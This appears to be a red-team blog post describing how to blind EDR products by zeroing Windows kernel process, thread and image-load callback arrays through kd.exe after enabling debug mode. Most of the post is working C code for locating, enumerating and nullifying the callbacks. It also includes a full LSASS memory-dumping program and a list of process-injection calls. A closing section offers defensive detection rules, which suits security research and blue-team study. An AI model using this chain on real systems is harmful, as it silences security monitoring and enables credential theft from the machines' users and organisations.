Introduction

The EDR evasion landscape has been dominated by BYOVD (Bring Your Own Vulnerable Driver) attacks. Load a vulnerable kernel driver, exploit it for arbitrary kernel read/write, remove EDR callbacks, profit. It works, but it's loud as hell.

Load gdriver.sys? Instant alert. Try RTCore64.sys? Already blocklisted. Every popular vulnerable driver ends up on detection lists within weeks of public disclosure.

What if we didn't need a vulnerable driver at all?

Windows already ships with legitimate, Microsoft-signed tools designed to access kernel memory. They're called debuggers. Specifically, kd.exe - the Windows Kernel Debugger. It's part of the Windows SDK, developers use it daily, and it can read and write arbitrary kernel memory by design.

The key insight: If kd.exe can access kernel memory for debugging purposes, why can't we use it to remove EDR callbacks?

Turns out, we absolutely can. And it works frighteningly well.

What This Post Covers

  • EDR kernel callback internals - How EDRs actually monitor at kernel level
  • BYOVD limitations - Why traditional approaches are failing
  • Windows debugging architecture - Deep dive into kd.exe and Debug API
  • Technical implementation - Detailed walkthrough with API calls and structures
  • Testing results - What works, what doesn't
  • Operational considerations - Trade-offs and detection surfaces

Why This Matters

Traditional BYOVD Flow:

1. Load vulnerable driver → ⚠️ INSTANT DETECTION
2. Exploit driver IOCTL
3. Physical memory access
4. Locate and patch callbacks
5. EDR silenced (but already caught)

Debug API Flow:

1. Enable debug mode (bcdedit /debug on)
2. Reboot
3. Use kd.exe with symbol resolution
4. Nullify callbacks atomically
5. EDR silenced, minimal detection surface

Key Advantages:

  • ✅ No vulnerable driver signatures
  • ✅ Microsoft-signed tooling
  • ✅ Automatic symbol resolution (no offset hardcoding)
  • ✅ Cross-platform compatibility
  • ✅ Harder to block without breaking legitimate workflows

Trade-offs:

  • ⚠️ Requires debug mode + reboot
  • ⚠️ Administrator privileges
  • ⚠️ Detection opportunities during setup

Prior Art & Attribution

The core concept has been documented since 2020:

  • Rui Reis (@fdiskyou) - "Windows Kernel Ps Callbacks Experiments" (Feb 2020)
  • Matteo Malvica - "Silencing the EDR" (July 2020)
  • Multiple researchers have explored callback manipulation

This post's contribution:

  • Complete technical deep dive with API details
  • Current validation against modern EDR
  • Operational red team perspective
  • Why debug API approach is superior to custom drivers

Responsible Use

  • ✅ Authorized security testing
  • ✅ Defensive research
  • ❌ Unauthorized access
  • ❌ Malicious use

EDR Kernel Callback Architecture

Windows Callback Registration APIs

Windows provides documented kernel APIs for drivers to register event callbacks:

// Process creation/termination notifications
NTSTATUS PsSetCreateProcessNotifyRoutine(
    PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
    BOOLEAN Remove
);

// Thread creation notifications
NTSTATUS PsSetCreateThreadNotifyRoutine(
    PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine
);

// Image (DLL/EXE) load notifications
NTSTATUS PsSetLoadImageNotifyRoutine(
    PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine
);

Internal Callback Storage

Callbacks are stored in internal kernel arrays (not exported):

// Located in ntoskrnl.exe data section
// Each array holds 64 callback pointers (8 bytes each = 512 bytes)
EX_CALLBACK_ROUTINE_BLOCK* PspCreateProcessNotifyRoutine[64];
EX_CALLBACK_ROUTINE_BLOCK* PspCreateThreadNotifyRoutine[64];
EX_CALLBACK_ROUTINE_BLOCK* PspLoadImageNotifyRoutine[64];

Callback Block Structure:

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
    EX_RUNDOWN_REF RundownProtect;  // Offset 0x00 (8 bytes)
    PVOID Function;                  // Offset 0x08 (8 bytes) - Actual callback
    PVOID Context;                   // Offset 0x10 (8 bytes) - Callback context
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

Array Entry Encoding:

Raw Array Entry: 0xffffb301c7d2381f
                 ^^^^^^^^^^^^^^^^ ^^^
                 Block pointer    Flags (low 4 bits)

Actual Block Addr: 0xffffb301c7d23810 (mask with ~0xF)
Function Pointer:  Block + 0x08
Context Pointer:   Block + 0x10

Kernel Notification Flow

When a process is created:

1. User-mode: CreateProcessA/W
   ↓
2. Kernel transition: NtCreateProcess (syscall)
   ↓
3. Kernel processing: PspCreateProcess
   ↓
4. Callback invocation: PspCallProcessNotifyRoutines()
   
   VOID PspCallProcessNotifyRoutines(
       PEPROCESS Process,
       BOOLEAN Create
   ) {
       for (int i = 0; i < 64; i++) {
           PVOID entry = PspCreateProcessNotifyRoutine[i];
           if (entry == NULL) continue;  // Skip empty slots
           
           // Decode pointer and invoke callback
           PEX_CALLBACK_ROUTINE_BLOCK block = DecodePointer(entry);
           PCREATE_PROCESS_NOTIFY_ROUTINE callback = block->Function;
           
           callback(Process->ParentProcess,
                   Process->UniqueProcessId,
                   Create);
       }
   }
   ↓
5. EDR callback receives process information
   ↓
6. EDR analysis: signature check, behavior analysis, policy check
   ↓
7. EDR action: allow/alert/block

Critical Observation: If array entries are NULL, the kernel skips them. EDR callback never invoked.

Attack Surface

Target: Write zeros to callback array entries

PspCreateProcessNotifyRoutine[0] = NULL;
PspCreateProcessNotifyRoutine[1] = NULL;
// ... etc

// Result: Kernel iteration finds NULL, skips all callbacks
// EDR never notified of process creation

The EDR driver remains loaded. The service stays running. Console shows "Protected". But the EDR is completely deaf to kernel events.


The BYOVD Problem

Traditional BYOVD Architecture

Typical Vulnerable Driver:

// Vulnerable driver exposes IOCTL for physical memory access
NTSTATUS DriverIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    
    switch (stack->Parameters.DeviceIoControl.IoControlCode) {
        case IOCTL_READ_PHYS_MEM:
            // Read arbitrary physical memory
            return ReadPhysicalMemory(...);
            
        case IOCTL_WRITE_PHYS_MEM:
            // Write arbitrary physical memory
            return WritePhysicalMemory(...);
    }
}

Attack Flow:

1. Load driver via SCM (Service Control Manager)
   └─> sc create vuln binPath= C:\driver.sys type= kernel
   └─> sc start vuln
   └─> ⚠️ EDR detects driver load, alerts immediately
   
2. Open handle to driver device
   └─> HANDLE h = CreateFile("\\\\.\\VulnDevice", ...)
   
3. Read CR3 (page table base register)
   └─> DeviceIoControl(h, IOCTL_READ_MSR, &cr3, ...)
   
4. Walk page tables to translate virtual → physical
   └─> PhysAddr = TranslateVirtualToPhysical(VirtAddr, cr3)
   
5. Read/write physical memory
   └─> DeviceIoControl(h, IOCTL_WRITE_PHYS_MEM, ...)
   
6. Locate callback arrays
   └─> Must hardcode offsets per Windows version
   └─> nt!PspCreateProcessNotifyRoutine = ntBase + 0x6b8c40 (Win 10 19041)
   └─> nt!PspCreateProcessNotifyRoutine = ntBase + 0x7c2e80 (Win 11 22000)
   
7. Write zeros to arrays
   └─> EDR silenced (but already detected at step 1)

Problems with BYOVD

1. Immediate Detection

Driver Load Event:
- Driver signature: gdriver.sys (SHA256: a10b...)
- Signed by: Gigabyte Technology Co., Ltd.
- Known CVE: CVE-2018-19320
- Action: ALERT + BLOCK
- Status: Technique burned

2. Microsoft Blocklist

Blocked Drivers (examples):
- gdriver.sys (Gigabyte)
- RTCore64.sys (MSI Afterburner)
- DBUtil_2_3.sys (Dell)
- IQVW64e.sys (Intel)
- msio64.sys (MSI)
- ... 1000+ drivers

Technical Implementation

Phase 1: Debug Mode Enablement

BCD Modification:

Using bcdedit.exe:

bcdedit /debug on

What happens internally:

// bcdedit.exe calls BCD WMI provider
IWbemServices* pBcdStore;
IWbemClassObject* pBootEntry;

// Open BCD store
CoCreateInstance(CLSID_BcdStore, ...);
pBcdStore->OpenStore(NULL); // System BCD

// Get current boot entry
pBcdStore->GetObject(L"{current}", &pBootEntry);

// Modify debug element
pBootEntry->Put(L"DebuggerEnabled", 
                0,                    // Flags
                &vtTrue,              // VARIANT_BOOL TRUE
                0);                   // Type

// Save changes
pBcdStore->SaveStore();

Registry artifacts created:

Path: HKLM\BCD00000000\Objects\{GUID}\Elements\16000010
Type: REG_BINARY
Data: 01 00 00 00 00 00 00 00

Path: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter
Values: (various debug-related DWORDs)

Reboot requirement:

// Kernel reads BCD during boot
// ntoskrnl.exe!KiSystemStartup()
VOID KiSystemStartup(PLOADER_PARAMETER_BLOCK LoaderBlock) {
    // Read boot options from loader block
    if (LoaderBlock->LoadOptions & DEBUG_LOAD_OPTION) {
        KdDebuggerEnabled = TRUE;
        KdDebuggerNotPresent = FALSE;
    }
    // ... continue boot
}

Changes only take effect after reboot because kernel reads BCD at boot time.

Verification after reboot:

// Query kernel debug status
SYSTEM_KERNEL_DEBUGGER_INFORMATION kdInfo;
NtQuerySystemInformation(
    SystemKernelDebuggerInformation,
    &kdInfo,
    sizeof(kdInfo),
    NULL
);

if (kdInfo.KernelDebuggerEnabled) {
    printf("Debug mode enabled\n");
}

Phase 2: Symbol Resolution

Locating Callback Arrays:

IDebugSymbols* pSymbols;
ULONG64 processCallbacks, threadCallbacks, imageCallbacks;

// Resolve symbols
pSymbols->GetOffsetByName("nt!PspCreateProcessNotifyRoutine", 
                          &processCallbacks);
pSymbols->GetOffsetByName("nt!PspCreateThreadNotifyRoutine", 
                          &threadCallbacks);
pSymbols->GetOffsetByName("nt!PspLoadImageNotifyRoutine", 
                          &imageCallbacks);

printf("Process callbacks: 0x%llx\n", processCallbacks);
printf("Thread callbacks:  0x%llx\n", threadCallbacks);
printf("Image callbacks:   0x%llx\n", imageCallbacks);

Example output:

Process callbacks: 0xfffff8056ef97c40
Thread callbacks:  0xfffff8056ef97840
Image callbacks:   0xfffff8056ef97a40

These addresses change every boot (KASLR) but symbols resolve automatically.

Phase 3: Callback Enumeration

Reading Array Contents:

ULONG64 arrayBase = processCallbacks;
ULONG64 entries[64];
ULONG bytesRead;

// Read entire array (64 entries × 8 bytes = 512 bytes)
pDataSpaces->ReadVirtual(
    arrayBase,
    entries,
    sizeof(entries),
    &bytesRead
);

// Enumerate non-NULL entries
int activeCallbacks = 0;
for (int i = 0; i < 64; i++) {
    if (entries[i] != 0) {
        printf("[%d] Active callback: 0x%llx\n", i, entries[i]);
        activeCallbacks++;
    }
}

printf("Total active: %d\n", activeCallbacks);

Example output:

[0] Active callback: 0xffffb301c7d2381f
[1] Active callback: 0xffffb301c7d236ff
[2] Active callback: 0xffffb301cae4b9df
Total active: 3

Decoding Callback Entries:

ULONG64 DecodeCallbackPointer(ULONG64 encoded) {
    // Low 4 bits are flags, mask them out
    return encoded & ~0xF;
}

ULONG64 GetCallbackFunction(ULONG64 blockAddr) {
    ULONG64 functionPtr;
    
    // Function pointer at offset +0x08 in block
    pDataSpaces->ReadVirtual(
        blockAddr + 0x08,
        &functionPtr,
        sizeof(functionPtr),
        NULL
    );
    
    return functionPtr;
}

// Usage
ULONG64 encodedEntry = 0xffffb301c7d2381f;
ULONG64 blockAddr = DecodeCallbackPointer(encodedEntry);
ULONG64 callback = GetCallbackFunction(blockAddr);

printf("Callback function: 0x%llx\n", callback);

Identifying Callback Owner (Optional):

// Find which module owns this callback
DEBUG_MODULE_PARAMETERS modInfo;
ULONG moduleIndex;

pSymbols->GetModuleByOffset(
    callback,        // Callback function address
    0,               // Start index
    &moduleIndex,    // Module index output
    NULL             // Base address output (optional)
);

char moduleName[MAX_PATH];
pSymbols->GetModuleNames(
    moduleIndex,
    0,               // Base address
    NULL,            // Image name (not needed)
    0,
    NULL,
    moduleName,      // Module name
    sizeof(moduleName),
    NULL,
    NULL,            // Loaded image name (not needed)
    0,
    NULL
);

printf("Callback owner: %s\n", moduleName);
// Output examples: csagent.sys (CrowdStrike), WdFilter.sys (Defender), etc.

Phase 4: Callback Nullification

Writing Zeros to Arrays:

ULONG64 zero = 0;
ULONG bytesWritten;

// Nullify first 8 entries (covers most deployments)
for (int i = 0; i < 8; i++) {
    ULONG64 entryAddr = arrayBase + (i * sizeof(ULONG64));
    
    pDataSpaces->WriteVirtual(
        entryAddr,
        &zero,
        sizeof(zero),
        &bytesWritten
    );
}

Complete Nullification (All Arrays):

void NullifyCallbackArray(ULONG64 arrayBase, int count) {
    ULONG64 zero = 0;
    
    for (int i = 0; i < count; i++) {
        pDataSpaces->WriteVirtual(
            arrayBase + (i * 8),
            &zero,
            8,
            NULL
        );
    }
}

// Nullify all three arrays
NullifyCallbackArray(processCallbacks, 8);
NullifyCallbackArray(threadCallbacks, 8);
NullifyCallbackArray(imageCallbacks, 8);

Kernel-side effect:

// Kernel routine (after nullification)
VOID PspCallProcessNotifyRoutines(PEPROCESS Process, BOOLEAN Create) {
    for (int i = 0; i < 64; i++) {
        PVOID entry = PspCreateProcessNotifyRoutine[i];
        
        if (entry == NULL) continue;  // ← Now all entries are NULL
        
        // This code never executes - EDR callback never invoked
        PEX_CALLBACK_ROUTINE_BLOCK block = DecodePointer(entry);
        block->Function(Process->ParentProcess, Process->UniqueProcessId, Create);
    }
}

Verification:

// Re-read arrays to confirm
ULONG64 entries[8];
pDataSpaces->ReadVirtual(processCallbacks, entries, sizeof(entries), NULL);

bool allNull = true;
for (int i = 0; i < 8; i++) {
    if (entries[i] != 0) {
        allNull = false;
        break;
    }
}

if (allNull) {
    printf("Success: All callbacks nullified\n");
} else {
    printf("Warning: Some callbacks still active\n");
}

Phase 5: Validation

LSASS Access Test:

#include <windows.h>
#include <tlhelp32.h>
#include <dbghelp.h>

#pragma comment(lib, "dbghelp.lib")

DWORD FindLsassPID() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32 = {sizeof(PROCESSENTRY32W)};

    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) {
                CloseHandle(hSnapshot);
                return pe32.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }
    
    CloseHandle(hSnapshot);
    return 0;
}

BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &luid);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    
    return (GetLastError() == ERROR_SUCCESS);
}

int TestLsassAccess() {
    EnableDebugPrivilege();
    
    DWORD pid = FindLsassPID();
    if (pid == 0) return 1;
    
    // This would normally be blocked by EDR
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    if (hProcess == NULL) {
        printf("FAILED: EDR still blocking LSASS access\n");
        return 1;
    }
    
    printf("SUCCESS: LSASS handle obtained (EDR blind)\n");
    
    // Attempt memory dump
    WCHAR dumpPath[MAX_PATH];
    swprintf_s(dumpPath, L"lsass_%d.dmp", pid);
    
    HANDLE hFile = CreateFileW(dumpPath, GENERIC_WRITE, 0, NULL, 
                                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    
    BOOL result = MiniDumpWriteDump(
        hProcess,
        pid,
        hFile,
        MiniDumpWithFullMemory,
        NULL, NULL, NULL
    );
    
    CloseHandle(hFile);
    CloseHandle(hProcess);
    
    if (result) {
        printf("SUCCESS: LSASS dumped, EDR generated ZERO alerts\n");
        return 0;
    }
    
    return 1;
}

API Calls EDR Would Normally Monitor:

// All these APIs bypass EDR monitoring after callback removal:

// 1. Process access
OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
// Normal: EDR process callback triggers
// After: EDR callback never invoked

// 2. Memory dumping
MiniDumpWriteDump(hProcess, pid, hFile, MiniDumpWithFullMemory, ...);
// Normal: EDR detects via process callback + file minifilter
// After: Process callback blind, only file layer remains

// 3. Thread creation
CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, lpParameter, 0, NULL);
// Normal: EDR thread callback triggers
// After: EDR callback never invoked

// 4. DLL injection
WriteProcessMemory(hProcess, pRemoteBuf, dllPath, dllPathLen, NULL);
CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteBuf, 0, NULL);
// Normal: EDR sees thread creation + image load
// After: Both callbacks blind

// 5. Process creation
CreateProcessA("malware.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
// Normal: EDR process callback triggers immediately
// After: EDR callback never invoked, malware runs freely

What EDR Sees:

Before Callback Removal:
[ALERT] CRITICAL - LSASS Access Attempt
Source: suspicious.exe (PID 1234)
Action: OpenProcess(lsass.exe, PROCESS_ALL_ACCESS)
Status: BLOCKED
Response: Process terminated

After Callback Removal:
[No alert - callback never invoked]
[No telemetry - EDR completely blind]
[Console shows: System Protected ✓]

Detection Surface Analysis

What Was Logged:

Low-Level Indicators (Logged but not alerted):
✓ bcdedit.exe process creation (Sysmon Event ID 1)
✓ kd.exe process creation (Sysmon Event ID 1)
✓ System reboot event (Event Log)

Registry Artifacts (Forensic only, not real-time):
✓ BCD store modifications
✓ Debug Print Filter registry keys

File System Artifacts:
✓ kd.exe execution (Prefetch files)
✓ Symbol cache (C:\symbols\)
✓ LSASS dump file (lsass_[PID].dmp)

What Was NOT Detected:

Critical Gaps:
✗ bcdedit + reboot correlation
✗ kd.exe command-line analysis
✗ Kernel memory write operations
✗ Callback array modifications
✗ Callback integrity validation
✗ LSASS process access (post-bypass)
✗ LSASS memory dumping (post-bypass)
✗ Behavioral anomalies post-bypass

Why Universal Applicability

Architectural Reason:

// This is how ALL major EDRs work:
// 1. Register callbacks at driver load
EDRDriver::DriverEntry() {
    PsSetCreateProcessNotifyRoutine(EDR_ProcessCallback, FALSE);
    PsSetCreateThreadNotifyRoutine(EDR_ThreadCallback);
    PsSetLoadImageNotifyRoutine(EDR_ImageCallback);
    // Done - assume they stay registered forever
}

// 2. Callbacks handle monitoring
VOID EDR_ProcessCallback(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create) {
    // Analyze process creation
    // Send telemetry
    // Make block/allow decision
}

// 3. No integrity validation
// No periodic checking if callbacks still exist
// Complete trust that kernel keeps them registered

// Attack removes callbacks:
PspCreateProcessNotifyRoutine[0] = NULL; // EDR callback gone
PspCreateProcessNotifyRoutine[1] = NULL; // Another EDR callback gone
// ...

// Result: EDR_ProcessCallback never invoked again
// EDR has no idea it's been blinded

This is an industry-wide architectural issue, not vendor-specific.

All top-tier EDR products tested showed the same vulnerability because they all use the same Windows callback mechanism and none implement integrity validation.


Defensive Recommendations

For Blue Teams

Immediate Actions:

1. Monitor Debug Mode Changes

powershell

# Detect bcdedit execution
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-Sysmon/Operational'
    ID=1
} | Where-Object {
    $_.Properties[4].Value -like "*bcdedit*" -and
    $_.Properties[10].Value -like "*/debug*"
}

2. Alert on kd.exe Execution

Sysmon Rule:
Event ID: 1 (Process Create)
Image: *\kd.exe
Image: *\windbg.exe
CommandLine: *-kl*

Context matters:
- Development machine: Normal
- Production server: Suspicious
- Domain controller: Critical alert

3. Baseline Debug Mode Status

# Audit all systems for debug mode
$systems = Get-ADComputer -Filter *
foreach ($system in $systems) {
    $debug = Invoke-Command -ComputerName $system.Name -ScriptBlock {
        bcdedit | Select-String "debug.*Yes"
    }
    if ($debug) {
        Write-Warning "$($system.Name): Debug mode enabled"
    }
}

4. Correlation Rules

SIEM Rule: "Potential EDR Bypass"
Correlation:
├─ bcdedit.exe with /debug flag
└─ WITHIN 24 hours
├─ System reboot
└─ WITHIN 1 hour
├─ kd.exe execution
└─ WITHIN 1 hour
└─ LSASS access OR suspicious activity

Severity: CRITICAL
Action: Isolate host, escalate

Defense in Depth - Don't Rely Solely on Callbacks

Layer 1: Kernel callbacks (Ps callbacks) - Primary monitoring
Layer 2: Object callbacks (ObRegisterCallbacks) - Handle operations
Layer 3: Minifilter (FltRegisterFilter) - File system operations  
Layer 4: ETW (Event Tracing) - System-wide telemetry
Layer 5: Hypervisor (if available) - Below-kernel monitoring

Rationale: If one layer compromised, others still functional

Monitor Kernel Debugging Activity

// Detect kernel debug enablement
SYSTEM_KERNEL_DEBUGGER_INFORMATION kdInfo;
NtQuerySystemInformation(
    SystemKernelDebuggerInformation,
    &kdInfo,
    sizeof(kdInfo),
    NULL
);

if (kdInfo.KernelDebuggerEnabled && !g_DebugModeExpected) {
    SendTelemetry(WARNING, "Kernel debugging enabled unexpectedly");
}

Behavioral Analysis

Even with callbacks removed, detect via:
├─ Unusual memory access patterns
├─ Suspicious API sequences
├─ Anomalous network behavior
├─ File system anomalies (dump files)
└─ User behavior analytics

Example: LSASS dump detection via minifilter
         (works even if callbacks removed)

Conclusion

This research demonstrates that legitimate Windows debugging infrastructure can be repurposed for complete EDR evasion without requiring vulnerable drivers.